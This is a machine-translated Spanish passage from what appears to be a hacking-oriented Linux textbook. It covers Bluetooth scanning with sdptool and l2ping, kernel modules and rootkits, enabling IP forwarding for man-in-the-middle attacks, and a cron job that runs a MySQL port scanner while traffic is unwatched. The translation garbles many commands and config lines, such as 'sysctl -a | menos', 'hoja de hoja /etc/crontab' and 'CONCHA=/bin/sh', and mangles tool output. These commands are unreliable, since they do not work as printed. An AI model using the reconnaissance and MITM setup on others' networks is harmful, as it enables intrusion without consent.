en una secuencia de comandos, y puede crear fácilmente su propia herramienta usando
estos comandos en su propia secuencia de comandos bash o Python; veremos las secuencias
de comandos en el Capítulo 17.

Escaneo de servicios con sdptool El protocolo de

detección de servicios (SDP) es un protocolo Bluetooth para buscar servicios Bluetooth


(Bluetooth es un conjunto de servicios) y, de manera útil, BlueZ proporciona la herramienta
sdptool para buscar en un dispositivo los servicios que brinda. También es importante tener
en cuenta que el dispositivo no tiene que estar en modo de descubrimiento para ser
escaneado. La sintaxis es la siguiente:

sdptool navegar dirección MAC

El Listado 14-4 me muestra usando sdptool para buscar servicios en uno de los
dispositivos detectados anteriormente en el Listado 14-2.

kali> sdptool navegar 76: 6E: 46: 63: 72: 66


Navegación 76: 6E: 46: 63: 72: 66 ...
Service RecHandle: 0x10002
Lista de ID de clase de servicio:
""(0x1800)
Lista de descriptores de
protocolo: "L2CAP" (0x0100)
PSM: 31
"ATT" (0x0007)
uint16: 0x1
uint16: 0x5 --
recorte--

Listado 14-4: Escaneo con sdptool


Machine Translated by Google

Aquí, podemos ver que la herramienta sdptool pudo obtener información sobre
todos los servicios que este dispositivo es capaz de usar. En particular, vemos que
este dispositivo es compatible con el Protocolo ATT, que es el Protocolo de atributo
de baja energía. Esto puede proporcionarnos más pistas sobre qué es el dispositivo
y posiblemente posibles vías para interactuar más con él.

Ver si los dispositivos son accesibles con l2ping Una vez que hemos

recopilado las direcciones MAC de todos los dispositivos cercanos, podemos enviar
pings a estos dispositivos, ya sea que estén en modo de detección o no, para ver si
están al alcance. Esto nos permite saber si están activos y dentro del alcance. Para
enviar un ping, usamos el comando l2ping con la siguiente sintaxis:

dirección MAC l2ping

El Listado 14-5 me muestra haciendo ping al dispositivo Android descubierto en


el Listado 14-2.

kali >l2ping 76:6E:46:63:72:66 -c 4 Ping:


76:6E:46:63:72:66 desde 10:AE:60:58:F1:37 (tamaño de datos 44)... 44 bytes
76:6E:46:63:72:66 id 0 tiempo 37.57ms 44 bytes 76:6E:46:63:72:66 id 1 tiempo 27.23ms 44
bytes 76:6E:46:63:72:66 id 2 veces 27,59 ms

--recorte--

Listado 14-5: Haciendo ping a un dispositivo Bluetooth

Esta salida indica que el dispositivo con la dirección MAC 76:6E:46:63:72:66


está dentro del alcance y accesible. Este es un conocimiento útil, porque debemos
saber si se puede acceder a un dispositivo antes de siquiera considerar piratearlo.

Resumen
Los dispositivos inalámbricos representan el futuro de la conectividad y la piratería.
Linux ha desarrollado comandos especializados para escanear y conectarse a
puntos de acceso Wi-Fi en el primer paso para piratear esos sistemas. El conjunto
de herramientas de hackeo inalámbrico aircrack ng incluye airmon-ng y airodump-ng,
Machine Translated by Google

que nos permiten escanear y recopilar información clave de los dispositivos inalámbricos
dentro del alcance. La suite BlueZ incluye hciconfig, hcitool y otras herramientas capaces
de escanear y recopilar información, que son necesarias para piratear los dispositivos
Bluetooth dentro del alcance. También incluye muchas otras herramientas que vale la pena
explorar.

EJERCICIOS

Antes de pasar al Capítulo 15, pruebe las habilidades que aprendió en este capítulo completando los siguientes
ejercicios:

1. Verifique sus dispositivos de red con ifconfig. Tenga en cuenta las extensiones inalámbricas.

2. Ejecute iwconfig y anote cualquier adaptador de red inalámbrica.


3. Verifique qué puntos de acceso Wi-Fi están dentro del alcance de iwlist.

4. Verifique qué puntos de acceso Wi-Fi están dentro del alcance de nmcli. ¿Cuál te resulta más útil e
intuitivo, nmcli o iwlist?

5. Conéctese a su AP Wi-Fi usando nmcli.

6. Inicie su adaptador Bluetooth con hciconfig y escanee en busca de dispositivos detectables cercanos .
Dispositivos bluetooth con hcitool.
7. Pruebe si esos dispositivos Bluetooth están a una distancia accesible con l2ping.
Machine Translated by Google

15
GESTIÓN DEL NÚCLEO DE LINUX Y
MÓDULOS DE NÚCLEO CARGABLES

Todos los sistemas operativos se componen de al menos dos componentes principales.


El primero y más importante de ellos es el kernel. El kernel está en el centro del sistema
operativo y controla todo lo que hace el sistema operativo, incluida la administración de
la memoria, el control de la CPU e incluso el control de lo que el usuario ve en la
pantalla. El segundo elemento del sistema operativo a menudo se denomina área de
usuario e incluye casi todo lo demás.

El núcleo está diseñado para ser un área protegida o privilegiada a la que solo
pueden acceder las cuentas raíz u otras cuentas privilegiadas. Esto es por una buena
razón, ya que el acceso al kernel puede proporcionar un acceso casi ilimitado al sistema
operativo. Como resultado, la mayoría de los sistemas operativos brindan acceso a los
usuarios y servicios solo a la tierra del usuario, donde el usuario puede acceder a casi
cualquier cosa que necesite sin tomar el control del sistema operativo.
El acceso al kernel permite al usuario cambiar la forma en que funciona, se ve y se
siente el sistema operativo. También les permite bloquear el sistema operativo,
haciéndolo inviable. A pesar de este riesgo, en algunos casos, el administrador del
sistema debe acceder al kernel con mucho cuidado por razones operativas y de
seguridad.
Machine Translated by Google

En este capítulo, examinaremos cómo alterar la forma en que funciona el kernel y


agregar nuevos módulos al kernel. Probablemente no hace falta decir que si un pirata
informático puede alterar el núcleo del objetivo, puede controlar el sistema.
Además, un atacante puede necesitar alterar cómo funciona el kernel para algunos
ataques, como un ataque de hombre en el medio (MITM), donde el pirata informático se
coloca entre un cliente y un servidor y puede espiar o alterar la comunicación. Primero,
veremos más de cerca la estructura del kernel y sus módulos.

¿Qué es un módulo del kernel?


El núcleo es el sistema nervioso central de su sistema operativo y controla todo lo que
hace, incluida la gestión de las interacciones entre los componentes de hardware y el
inicio de los servicios necesarios. El núcleo opera entre las aplicaciones de usuario que
ve y el hardware que ejecuta todo, como la CPU, la memoria y el disco duro.

Linux es un núcleo monolítico que permite la adición de módulos de núcleo. Como


tal, los módulos se pueden agregar y eliminar del núcleo.
Ocasionalmente, el kernel necesitará una actualización, lo que podría implicar la
instalación de nuevos controladores de dispositivos (como tarjetas de video, dispositivos
Bluetooth o dispositivos USB), controladores de sistemas de archivos e incluso
extensiones del sistema. Estos controladores deben estar integrados en el núcleo para
que sean completamente funcionales. En algunos sistemas, para agregar un controlador,
debe reconstruir, compilar y reiniciar todo el kernel, pero Linux tiene la capacidad de
agregar algunos módulos al kernel sin pasar por todo el proceso. Estos módulos se
conocen como módulos de kernel cargables o LKM.
Los LKM tienen acceso a los niveles más bajos del kernel por necesidad, lo que los
convierte en un objetivo increíblemente vulnerable para los piratas informáticos. Un tipo
particular de malware conocido como rootkit se incrusta en el kernel de los sistemas
operativos, a menudo a través de estos LKM. Si el malware se incrusta en el núcleo, el
pirata informático puede tomar el control completo del sistema operativo.

Si un pirata informático puede hacer que el administrador de Linux cargue un nuevo


módulo en el kernel, el pirata informático no solo puede obtener el control del sistema de
destino, sino que, debido a que está operando en el nivel del kernel del sistema operativo,
Machine Translated by Google

puede controlar lo que informa el sistema de destino en términos de procesos, puertos,


servicios, espacio en el disco duro y casi cualquier otra cosa que se le ocurra.

Por lo tanto, si un pirata informático puede tentar con éxito a un administrador de


Linux para que instale un video u otro controlador de dispositivo que tenga un rootkit
incrustado, el pirata informático puede tomar el control total del sistema y el kernel.
Esta es la forma en que algunos de los rootkits más insidiosos aprovechan Linux y
otros sistemas operativos.
Comprender los LKM es absolutamente clave para ser un administrador de Linux
efectivo y ser un hacker muy efectivo y sigiloso.
Echemos un vistazo a cómo se puede administrar el kernel para bien y para mal.

Comprobación de la versión del kernel


El primer paso para comprender el kernel es verificar qué kernel está ejecutando su
sistema. Hay al menos dos maneras de hacer esto. Primero, podemos ingresar lo
siguiente:

kali >uname -a
Linux Kali 4.6.0-kalil-amd64 #1 Debian SMP 4.6.4-lkalil (2016-07-21) x86_64

El kernel responde diciéndonos que la distribución que ejecuta nuestro sistema


operativo es Linux Kali, la compilación del kernel es 4.6.4 y la arquitectura para la que
está diseñado es la arquitectura x86_64. También nos dice que tiene capacidades de
multiprocesamiento simétrico (SMP) (lo que significa que puede ejecutarse en
máquinas con varios núcleos o procesadores) y que se creó en Debian 4.6.4 el 21 de
julio de 2016. Su salida puede ser diferente, dependiendo de qué kernel se utilizado
en su compilación y la CPU en su sistema. Esta información puede ser necesaria
cuando instala o carga un controlador de kernel, por lo que es útil comprender cómo
obtenerla.
Otra forma de obtener esta información, así como otros útiles
información, es usar el comando cat en el archivo /proc/version, así:

kali >cat /proc/version


Linux versión 4.6.0-kalil-amd64 (devel@kali.org) (gcc versión 5.4.0 20160909 (Debian
5.4.0-6) ) #1 SMP Debian 4.6.4-lkalil (2016 -07-21)
Machine Translated by Google

Aquí puede ver que el archivo /proc/version devolvió la misma información.

Ajuste del kernel con sysctl


Con los comandos correctos, puede ajustar su kernel, lo que significa que puede cambiar
las asignaciones de memoria, habilitar funciones de red e incluso fortalecer el kernel
contra ataques externos.
Los kernels de Linux modernos usan el comando sysctl para ajustar las opciones
del kernel. Todos los cambios que realice con sysctl permanecerán vigentes solo hasta
que reinicie el sistema. Para hacer que los cambios sean permanentes, debe editar el
archivo de configuración de sysctl directamente en /etc/sysctl.conf.
Una palabra de advertencia: debe tener cuidado al usar sysctl porque sin el
conocimiento y la experiencia adecuados, puede hacer que su sistema no se pueda
iniciar e inutilizar fácilmente. Asegúrese de haber considerado cuidadosamente lo que
está haciendo antes de realizar cambios permanentes.
Echemos un vistazo al contenido de sysctl ahora. Por ahora, deberías
reconocer las opciones que le damos con el comando que se muestra aquí:

kali >sysctl -a | menos


dev.cdrom.autoclose = 1
dev.cdrom.autoeject = 0
dev.cdrom.check_media = 0
dev.cdrom.debug = 0 --snip--

En el resultado, debería ver cientos de líneas de parámetros que un administrador


de Linux puede editar para optimizar el kernel. Aquí hay algunas líneas que son útiles
para ti como hacker. Como ejemplo de cómo puede usar sysctl, veremos cómo habilitar
el reenvío de paquetes.
En el ataque man-in-the middle (MITM), el hacker se ubica entre hosts que se
comunican para interceptar información. El tráfico pasa a través del sistema del pirata
informático, por lo que pueden ver y posiblemente alterar la comunicación. Una forma
de lograr este enrutamiento es habilitar el reenvío de paquetes.

Si se desplaza hacia abajo algunas páginas en la salida o filtra por "ipv4" (sysctl -a |
less | grep ipv4), debería ver lo siguiente:
Machine Translated by Google

net.ipv4.ip_dynaddr = 0
net.ipv4.ip_early_demux = 0
net.ipv4.ip_forward = 0
net.ipv4.ip_forward_use_pmtu = 0 --snip--

La línea net.ipv4.ip_forward = 0 es el parámetro del kernel que permite que el


kernel reenvíe los paquetes que recibe. En otras palabras, los paquetes que recibe,
los devuelve. La configuración predeterminada es 0, lo que significa que el reenvío de
paquetes está deshabilitado.
Para habilitar el reenvío de IP, cambie el 0 por un 1 ingresando lo siguiente:

kali >sysctl -w net.ipv4.ip_forward=1

Recuerde que los cambios de sysctl tienen lugar en tiempo de ejecución pero se
pierden cuando se reinicia el sistema. Para realizar cambios permanentes en sysctl,
debe editar el archivo de configuración /etc/sysctl.conf. Cambiemos la forma en que el
kernel maneja el reenvío de IP para los ataques MITM y hagamos que este cambio
sea permanente.
Para habilitar el reenvío de IP, abra el archivo /etc/sysctl.conf en cualquier editor
de texto y descomente la línea para ip_forward. Abra /etc/sycstl.conf con cualquier
editor de texto y eche un vistazo:

#/etc/sysctl.conf - Archivo de configuración para configurar las variables del sistema #


Consulte /etc/sysctl.d/ para conocer otras variables del sistema.
# Consulte sysctl.conf (5) para obtener información.
#

#kernel.domainname = ejemplo.com

# Descomente lo siguiente para detener los mensajes de bajo nivel en la consola.


#núcleo.printk = 3 4 1 3

############################################## ############3
# Funciones encontradas previamente en netbase #

# Quite el comentario de las siguientes dos líneas para habilitar la protección contra la suplantación
de identidad (ruta inversa # Active la verificación de la dirección de origen en todas las interfaces
para # evitar algunos ataques de suplantación de identidad. #net.ipv4.conf.default.rp_filter=1
#net.ipv4.conf.all .rp_filtro=1

# Quite el comentario de la siguiente línea para habilitar las cookies TCP/IP


SYN #
Machine Translated by Google

# Nota: Esto también puede afectar las sesiones TCP de IPv6


#net.ipv4.tcp_syncookies=1

Ver http://lwn.net/Articles/277146/
# Descomente la siguiente línea para habilitar el reenvío de paquetes para IPv4
ÿ #net.ipv4.ip_forward=1

La línea relevante está en ÿ; simplemente elimine el comentario (#) aquí para habilitar
Reenvío de IP.
Desde una perspectiva de refuerzo del sistema operativo, podría utilizar este
archivo para deshabilitar las solicitudes de eco ICMP agregando la línea
net.ipv4.icmp_echo_ignore_all=1 para hacerlo más difícil, pero no
imposible: que los piratas informáticos encuentren su sistema. Después de agregar la línea, usted
necesitará ejecutar el comando sysctl -p.

Gestión de módulos del kernel


Linux tiene al menos dos formas de administrar los módulos del kernel. La forma más antigua es
para usar un grupo de comandos creados alrededor de la suite insmod —insmod destaca
para insertar módulo y está destinado a tratar con módulos. La segunda manera,
utilizando el comando modprobe , lo emplearemos un poco más adelante en este capítulo.
Aquí, usamos el comando lsmod de la suite insmod para listar los instalados
módulos en el núcleo:

kali> lsmod
Módulo Usado por
nfnetlink_queue Tamaño 0
nfnetlink_log 20480 0
nfnetlink bluetooth 201480 2 nfnetlink_log, nfnetlink_cola
rfkill 16384 0
516096 0 2 bluetooth

--recorte--

Como puede ver, el comando lsmod también enumera todos los módulos del kernel.
como información sobre su tamaño y qué otros módulos pueden utilizarlos. Entonces,
por ejemplo, el módulo nfnetlink , un protocolo basado en mensajes para
comunicación entre el kernel y el espacio del usuario—es de 16.384 bytes y
utilizado tanto por el módulo nfnetlink_log como por el módulo nf_netlink_queue .
Machine Translated by Google

Desde la suite insmod , podemos cargar o insertar un módulo con insmod y


eliminar un módulo con rmmod, que significa eliminar módulo. Estos comandos
no son perfectos y es posible que no tengan en cuenta las dependencias de los
módulos, por lo que usarlos puede dejar su kernel inestable o inutilizable.
Como resultado, las distribuciones modernas de Linux ahora han agregado el
comando modprobe , que carga automáticamente las dependencias y hace que
la carga y eliminación de módulos del kernel sea menos riesgosa. Cubriremos
modprobe en un momento. Primero, veamos cómo obtener más información
sobre nuestros módulos.

Encontrar más información con modinfo Para aprender más

sobre cualquiera de los módulos del núcleo, podemos usar el comando modinfo .
La sintaxis de este comando es sencilla: modinfo seguido del nombre del módulo
sobre el que desea obtener información. Por ejemplo, si desea recuperar
información básica sobre el módulo del núcleo bluetooth que vio cuando ejecutó
el comando lsmod anteriormente, podría ingresar lo siguiente:

kali >modinfo bluetooth


nombre de archivo: /lib/modules/4.6.0-kali-amd64/kernel/net/bluetooth/bluetooth.ko
alias: net-pf-31srcversion
licencia: GPL versión: 2.21 descripción:Bluetooth
: FCFDE98577FEA911A3DAFA9 depende:Core ver vermagic:
intree: 2.21 autor:
4.6.0-kali1-amd64 SMP mod_unload modversions parm: parm:

Marcel Holtman <marcel@holtmann.org>

matar, crc16
Y

disabled_esco: deshabilitar la creación de conexión eSCO


(bool) disabled_ertm: deshabilitar el modo de retransmisión mejorado (bool)

Como puede ver, el comando modinfo revela información importante sobre


este módulo del kernel que es necesario para usar Bluetooth en su sistema. Tenga
en cuenta que, entre muchas otras cosas, enumera las dependencias del módulo:
rfkill y crc16. Las dependencias son módulos que deben instalarse para que el
módulo bluetooth funcione correctamente.
Por lo general, esta es información útil para solucionar problemas por los que
un dispositivo de hardware en particular no funciona. Además de anotar cosas
como las dependencias, puede obtener información sobre la versión del módulo.
Machine Translated by Google

y la versión del kernel para la que se desarrolló el módulo y luego asegúrese


de que coincidan con la versión que está ejecutando.

Adición y eliminación de módulos con modprobe La mayoría de las

distribuciones más recientes de Linux, incluido Kali Linux, incluyen el comando


modprobe para la gestión de LKM. Para agregar un módulo a su kernel, usaría
el comando modprobe con el interruptor -a (agregar), así:

kali >modprobe -a <nombre del módulo>

Para eliminar un módulo, use el modificador -r (eliminar) con modprobe


seguido del nombre del módulo:

kali >modprobe -r <módulo a eliminar>

Una gran ventaja de usar modprobe en lugar de insmod es que modprobe


comprende las dependencias, las opciones y los procedimientos de instalación
y eliminación, y los tiene en cuenta antes de realizar cambios.
Por lo tanto, es más fácil y seguro agregar y eliminar módulos del núcleo con
modprobe.

Inserción y eliminación de un módulo del núcleo Intentemos

insertar y eliminar un módulo de prueba para ayudarlo a familiarizarse con este


proceso. Imaginemos que acaba de instalar una nueva tarjeta de video y necesita
instalar los controladores para ella. Recuerde, los controladores para dispositivos
generalmente se instalan directamente en el kernel para brindarles el acceso
necesario para que funcionen correctamente. Esto también hace que los
controladores sean un terreno fértil para que los hackers maliciosos instalen un
rootkit u otro dispositivo de escucha.

Supongamos, con fines de demostración (en realidad, no ejecute estos


comandos), que queremos agregar un nuevo controlador de video llamado
HackersAriseNewVideo. Puede agregarlo a su kernel ingresando lo siguiente:
Machine Translated by Google

kali > modprobe -a HackersAriseNewVideo

Para probar si el nuevo módulo se cargó correctamente, puede ejecutar el


comando dmesg , que imprime el búfer de mensajes del núcleo, y luego filtrar por
"video" y buscar alertas que indiquen un problema:

kali> dmesg | vídeo grep

Si hay mensajes del núcleo con la palabra "video" en ellos, se mostrarán aquí.
Si no aparece nada, no hay mensajes que contengan esa palabra clave.

Luego, para eliminar este mismo módulo, puede ingresar el mismo comando
pero con el interruptor -r (eliminar):

kali >modprobe -r HackersAriseNewVideo

Recuerde, los módulos del kernel cargables son una comodidad para un usuario/
administrador de Linux, pero también son una gran debilidad de seguridad con la
que los piratas informáticos profesionales deberían estar familiarizados. Como dije
antes, los LKM pueden ser el vehículo perfecto para introducir su rootkit en el kernel
y causar estragos.

Resumen El

kernel es crucial para el funcionamiento general del sistema operativo y, como


tal, es un área protegida. Cualquier cosa que se agregue inadvertidamente al
kernel puede interrumpir el sistema operativo e incluso tomar el control de él.
Los LKM permiten al administrador del sistema agregar módulos directamente al
kernel sin tener que reconstruir todo el kernel cada vez que deseen agregar un
módulo.

Si un pirata informático puede convencer al administrador del sistema para que agregue un
LKM malicioso, el pirata informático puede tomar el control completo del sistema, a menudo sin
que el administrador del sistema se dé cuenta.
Machine Translated by Google

EJERCICIOS

Antes de pasar al Capítulo 16, pruebe las habilidades que aprendió en este capítulo completando los siguientes ejercicios:

1. Verifique la versión de su kernel.

2. Haga una lista de los módulos en su núcleo.

3. Habilite el reenvío de IP con un comando sysctl .

4. Edite su archivo /etc/sysctl.conf para habilitar el reenvío de IP. Ahora, deshabilite el reenvío de IP.

5. Seleccione un módulo del kernel y aprenda más sobre él usando modinfo.


Machine Translated by Google

dieciséis

AUTOMATIZACIÓN DE TAREAS CON PROGRAMACIÓN DE TRABAJOS

Como cualquiera que use Linux, el hacker a menudo tiene trabajos, scripts u otras
tareas que desea ejecutar periódicamente. Por ejemplo, es posible que desee
programar copias de seguridad automáticas y periódicas de los archivos de su sistema,
o tal vez desee rotar los archivos de registro como hicimos en el Capítulo 11. El hacker,
por otro lado, también puede querer que su sistema ejecute MySQLscanner. .sh script
del Capítulo 8 todas las noches o mientras están en el trabajo o la escuela.
Todos estos son ejemplos de programación de trabajos automáticos. La programación
de trabajos le permite ejecutar tareas sin tener que pensar en ello, y puede programar
trabajos para que se ejecuten cuando no esté utilizando su sistema, de modo que
tenga muchos recursos gratuitos.
El administrador de Linux, o el pirata informático, también puede querer configurar
ciertos scripts o servicios para que se inicien automáticamente cuando se inicia su
sistema. En el Capítulo 12, analizamos el uso de la base de datos PostgreSQL en
asociación con el marco Metasploit de hacker/pentest. En lugar de iniciar manualmente
la base de datos de PostgreSQL antes de iniciar Metasploit, puede hacer que
PostgreSQL, o cualquier servicio o secuencia de comandos, se inicie automáticamente
cuando se inicie el sistema.
En este capítulo, aprenderá más sobre cómo usar el demonio cron y crontab para
configurar scripts para que se ejecuten automáticamente, incluso cuando el sistema
está desatendido. También aprenderá a configurar secuencias de comandos de inicio
que se ejecutan automáticamente cada vez que se inicia el sistema, lo que proporcionará
Machine Translated by Google

con los servicios necesarios que necesitará para ejecutar durante su ajetreado día
de piratería.

Programación de un evento o trabajo para que se ejecute de forma automática


Base
El demonio cron y la tabla cron (crontab) son las herramientas más útiles para programar
tareas regulares. El primero, crond, es un demonio que se ejecuta en segundo plano. El
demonio cron comprueba la tabla cron para saber qué comandos ejecutar en momentos
específicos. Podemos modificar la tabla cron para programar una tarea o trabajo para
que se ejecute regularmente en un día o fecha en particular, a una hora en particular
todos los días o cada cierto número de semanas o meses.
Para programar estas tareas o trabajos, ingréselos en el archivo de la tabla
cron , ubicado en /etc/crontab. La tabla cron tiene siete campos: los primeros
cinco se usan para programar el tiempo para ejecutar la tarea, el sexto campo
especifica el usuario y el séptimo campo se usa para la ruta absoluta al comando
que desea ejecutar. Si estuviéramos usando la tabla cron para programar un
script, simplemente podríamos poner la ruta absoluta al script en el séptimo campo.
Cada uno de los cinco campos de tiempo representa un elemento de tiempo
diferente: el minuto, la hora, el día del mes, el mes y el día de la semana, en ese
orden. Cada elemento de tiempo debe representarse numéricamente, por lo que
March se representa como 3 (no puede ingresar simplemente "March"). Los días
de la semana comienzan en 0, que es domingo, y terminan en 7, que también es domingo.
La tabla 16-1 resume esto.

Tabla 16-1: Representaciones de tiempo para uso en crontab

Unidad de tiempo de campo Representación


1 Minuto 0–59
2 horas 0–23

3 Día del mes 1–31


4 meses 1–12

5 Día de la semana 0–7


Machine Translated by Google

Entonces, si hubiéramos escrito un script para escanear el mundo en busca de


puertos abiertos vulnerables y queríamos que se ejecutara todas las noches a las
2:30 a . m ., de lunes a viernes, podríamos programarlo en el archivo crontab.
Veremos el proceso de cómo obtener esta información en el crontab en breve, pero
primero analicemos el formato que debemos seguir, que se muestra en el Listado 16-1.

MH DOM MON DOW USUARIO COMANDO


30 2 * * 1-5 raíz /raíz/myscanningscript

Listado 16-1: El formato para programar comandos

El archivo crontab etiqueta las columnas de manera útil. Tenga en cuenta que el
primer campo proporciona el minuto (30), el segundo campo proporciona la hora (2),
el quinto campo proporciona los días (1-5, o de lunes a viernes), el sexto campo
define el usuario (raíz) y el séptimo campo es la ruta al script. Los campos tercero y
cuarto contienen asteriscos (*) porque queremos que este script se ejecute todos los
días de lunes a viernes, independientemente del día del mes o del mes.

En el Listado 16-1, el quinto campo define un rango para el día de la semana


usando un guión (-) entre los números. Si desea ejecutar un script en varios días no
contiguos de la semana, puede separar esos días con comas (,). Así, martes y
jueves serían 2,4.
Para editar crontab, puede ejecutar el comando crontab seguido de la opción -e
(editar):

kali >crontab -e
Seleccione un editor. Para cambiar más tarde, ejecute 'select-
editor'. 1. /bin/nano <----más fácil 2. /usr/bin/mcedit 3. /usr/bin/
vim.basic 4. /usr/bin/vim.gtk 5. /usr/bin/vim.tiny Elija 1-5 [1]:

La primera vez que ejecute este comando, le preguntará qué editor le gustaría
usar. El valor predeterminado es /bin/nano, la opción 1. Si elige esta opción, se abrirá
directamente en crontab.
Otra opción, y a menudo mejor para los recién llegados a Linux, es abrir crontab
directamente en su editor de texto favorito, lo que puede hacer así:
Machine Translated by Google

kali > hoja de hoja /etc/crontab

He usado este comando para abrir crontab en Leafpad. Puedes ver un


fragmento del archivo en el Listado 16-2.

# /etc/crontab: crontab para todo el sistema


# A diferencia de cualquier otro crontab, no tiene que ejecutar el comando
'crontab' # para instalar la nueva versión cuando edite este archivo # y los
archivos en /etc/cron.d. Estos archivos también tienen campos de nombre de
usuario, # que no tienen otros crontabs.

CONCHA=/bin/sh
RUTA=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# mh dom mon dow user command 17


* * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /
usr/sbin/anacron II ( cd / && run- partes 47 6 * * 7 root test -x /usr/sbin/anacron II
( cd / && run-parts 52 6 1 * * root test -x /usr/sbin/anacron II ( cd / && run-parts #

Listado 16-2: El archivo crontab en uso en un editor de texto

Ahora, para configurar una nueva tarea programada regularmente, simplemente necesita ingresar
una nueva línea y guardar el archivo.

Programación de una tarea de respaldo

Primero veamos esta utilidad desde la perspectiva del administrador del sistema.
Como administrador del sistema, a menudo querrá ejecutar copias de seguridad de todos sus archivos
fuera del horario laboral, mientras el sistema no se utiliza y los recursos están disponibles. (Las copias
de seguridad del sistema tienden a requerir recursos del sistema que tienen poca demanda durante
el horario comercial). El momento ideal podría ser en medio de la noche del fin de semana. En lugar
de tener que iniciar sesión a las 2 a. m. del sábado por la noche/domingo por la mañana (estoy seguro
de que tiene otras prioridades en ese momento), puede programar la copia de seguridad para que se
inicie automáticamente a esa hora, aunque no esté en su computadora. .

Tenga en cuenta que el campo de hora usa un reloj de 24 horas en lugar de AM y PM, por lo que
1 PM es, por ejemplo, 13:00. Además, tenga en cuenta que los días de la semana (DOW) comienzan
con el domingo (0) y terminan con el sábado (6).

Para crear un trabajo, simplemente necesita editar el archivo crontab agregando una línea en el
formato prescrito. Entonces, supongamos que desea crear un
Machine Translated by Google

trabajo de copia de seguridad usando una cuenta de usuario llamada "copia de seguridad". Debe
escribir un script para hacer una copia de seguridad del sistema y guardarlo como systembackup.sh en
el directorio /bin, luego programar esta copia de seguridad para que se ejecute todos los sábados por
la noche/domingos por la mañana a las 2 a. m. agregando la siguiente línea a crontab:

00 2 * * 0 copia de seguridad /bin/systembackup.sh

Tenga en cuenta que el comodín * se usa para indicar "cualquiera", y usarlo en lugar de un dígito
para el día del mes, mes o día de la semana se lee como "todos" los días o meses. Si lees a través de
esta línea, dice

1. Al principio de la hora (00), 2. De la

segunda hora (2), 3. De cualquier día del

mes (*), 4. De cualquier mes (*), 5. El

domingo (0) , 6. Como usuario de respaldo,

7. Ejecute el script en /bin/systembackup.sh.

Luego, el demonio cron ejecutará ese script todos los domingos por la mañana a las 2 a . m. ,
todos los meses.

Si solo desea que la copia de seguridad se ejecute los días 15 y 30 de cada mes, independientemente
de los días de la semana en que coincidan esas fechas, puede revisar la entrada en crontab para que
aparezca de la siguiente manera:

00 2 15,30 * * copia de seguridad /root/systembackup.sh

Tenga en cuenta que el campo del día del mes (DOM) ahora tiene 15,30. Esto le indica al sistema
que ejecute el script solo los días 15 y 30 de cada mes, es decir, aproximadamente cada dos semanas.
Cuando desee especificar varios días, horas o meses, debe enumerarlos separados por una coma,
como hicimos aquí.

A continuación, supongamos que la empresa requiere que esté especialmente atento a sus copias
de seguridad. No puede darse el lujo de perder ni un día de datos en caso de corte de energía o falla
del sistema. Luego, deberá hacer una copia de seguridad de los datos todas las noches de la semana
agregando la siguiente línea:
Machine Translated by Google

00 23 * * 1-5 copia de seguridad /root/systembackup.sh

Este trabajo se ejecutaría a las 11 p. m. ( hora 23), todos los días del mes, todos los
meses, pero solo de lunes a viernes (días 1 a 5). Tenga en cuenta especialmente que
designamos los días de lunes a viernes proporcionando un intervalo de días (1-5) separados
por un guión (-). Esto también podría haber sido designado como 1,2,3,4,5; de cualquier
manera funciona perfectamente bien.

Uso de crontab para programar su escáner MySQL Ahora que comprende los

conceptos básicos de la programación de un trabajo con el comando crontab , programemos


el script MySQLscanner.sh, que busca puertos MySQL abiertos, que creó en el Capítulo 8.
Este escáner busca sistemas que ejecuten MySQL buscando el puerto abierto 3306.

Para ingresar su MySQLscanner.sh en el archivo crontab, edite el archivo para


proporcionar los detalles de este trabajo, tal como lo hicimos con las copias de seguridad
del sistema. Lo programaremos para que se ejecute durante el día mientras está en el
trabajo para que no consuma recursos cuando esté usando su sistema doméstico. Para
hacer esto, ingrese la siguiente línea en su crontab:

00 9 * * * usuario /usr/share/MySQLsscanner.sh

Hemos configurado el trabajo para que se ejecute a los 00 minutos, a la novena hora,
todos los días del mes (*), todos los meses (*), todos los días de la semana (*), y para
ejecutarlo como un usuario normal. . Simplemente necesitamos guardar este archivo
crontab para programar el trabajo.
Ahora, supongamos que desea ser especialmente cuidadoso y solo ejecutar este
escáner los fines de semana y a las 2 a. m. , cuando es menos probable que alguien esté
observando el tráfico de la red. También desea que solo funcione en el verano, de junio a
agosto. Su trabajo ahora se vería así:

00 2 * 6-8 0,6 usuario /usr/share/MySQLsscanner.sh

Agregarías esto a tu crontab así:

# /etc/crontab: crontab de todo el sistema


# A diferencia de cualquier otro crontab, no tiene que ejecutar el comando
'crontab' # para instalar la nueva versión cuando edita este archivo
Machine Translated by Google

# y archivos en /etc/cron.d. Estos archivos también tienen campos de nombre de usuario, # que
no tienen ninguno de los otros crontabs.

CONCHA=/bin/sh
RUTA=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# mh dom mon dow user command 17 * * * *


root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron II
( cd / && run- parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron II ( cd / && run-parts --
report /etc/cron.weekly ) 52 6 1 * * root prueba -x /usr/sbin/anacron II ( cd / && run-parts --report /etc/
cron.monthly ) 00 2 * 6-8 0,6 usuario /usr/share/MySQLsscanner.sh

Ahora, MySQLscanner.sh solo se ejecutará los fines de semana de junio, julio y


agosto a las 2 a . m.

Atajos crontab
El archivo crontab tiene algunos accesos directos incorporados que puede usar en
lugar de especificar la hora, el día y el mes cada vez. Estos incluyen lo siguiente:

@anual

@anualmente

@mensual

@semanal

@a diario

@medianoche

@mediodía

@reiniciar

Por lo tanto, si desea que el analizador de MySQL se ejecute todas las noches en
medianoche, puede agregar la siguiente línea al archivo crontab:

@medianoche usuario /usr/share/MySQLsscanner.sh


Machine Translated by Google

Uso de secuencias de comandos rc para ejecutar trabajos al

inicio Cada vez que inicia su sistema Linux, se ejecuta una serie de secuencias de
comandos para configurar el entorno para usted. Estos se conocen como scripts rc.
Una vez que el núcleo se ha inicializado y cargado todos sus módulos, el núcleo inicia
un demonio conocido como init o init.d. Este demonio luego comienza a ejecutar una
serie de scripts que se encuentran en /etc/init.d/rc. Estos scripts incluyen comandos
para iniciar muchos de los servicios necesarios para ejecutar su sistema Linux como
espera.

Niveles de ejecución de Linux

Linux tiene varios niveles de ejecución que indican qué servicios deben iniciarse en
el arranque. Por ejemplo, el nivel de ejecución 1 es el modo de usuario único y los
servicios como la red no se inician en el nivel de ejecución 1. Los scripts rc están
